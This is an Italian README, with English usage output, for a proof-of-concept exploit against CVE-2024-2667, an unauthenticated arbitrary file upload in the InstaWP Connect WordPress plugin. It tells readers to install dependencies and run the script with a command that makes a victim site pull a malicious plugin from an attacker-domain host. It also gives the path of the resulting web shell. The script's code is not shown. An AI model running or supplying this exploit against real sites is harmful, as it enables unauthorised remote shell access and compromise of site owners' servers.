
Exploit PoC per CVE-2024-2667: upload automatico di file arbitrari e accesso alla shell tramite validazione insufficiente dei file nell'endpoint REST API del plugin WordPress InstaWP Connect.
Il plugin InstaWP Connect – 1-click WP Staging & Migration per WordPress è vulnerabile a caricamenti arbitrari di file a causa di una validazione insufficiente dei file nell'endpoint REST API /wp-json/instawp-connect/v1/config in tutte le versioni fino alla 0.1.0.22 inclusa. Ciò consente ad attaccanti non autenticati di caricare file arbitrari.
| Descrizione | Dettagli | Icona |
|---|---|---|
| Installa le librerie richieste | Usa pip per installare le librerie Python necessarie: requests e beautifulsoup4. | 🛠️ |
| Comando per l'installazione | Esegui: pip install requests beautifulsoup4. | 📥 |
| Descrizione | Dettagli | Icona |
|---|---|---|
| Percorso della shell | Se il caricamento riesce, la shell sarà accessibile all'indirizzo: | 🐚 |
wp-content/plugins/instawp-connect/shell.php. |
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).
| Descrizione | Dettagli | Icona |
|---|
| Esegui lo script | Esegui lo script tramite riga di comando con gli argomenti richiesti. | 🚀 |
| Argomenti richiesti | - -up: URL del plugin (es., http://attacker-domain/malicious-plugin.zip). | |
- -u: URL WordPress target (es., http://victim-domain/). | 🔧 | |
| Comando di esempio | python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/ | 📜 |
| Descrizione | Dettagli | Icona |
|---|
| Controllo della versione | Lo script esamina il file readme.txt per la versione del plugin target. | 🔍 |
| Versione vulnerabile | Se la versione è <= 0.1.0.22, lo script stampa: The site is vulnerable. | ⚠️ |
| Versione sicura | Se la versione è > 0.1.0.22, lo script stampa: The site is not vulnerable. | ✅ |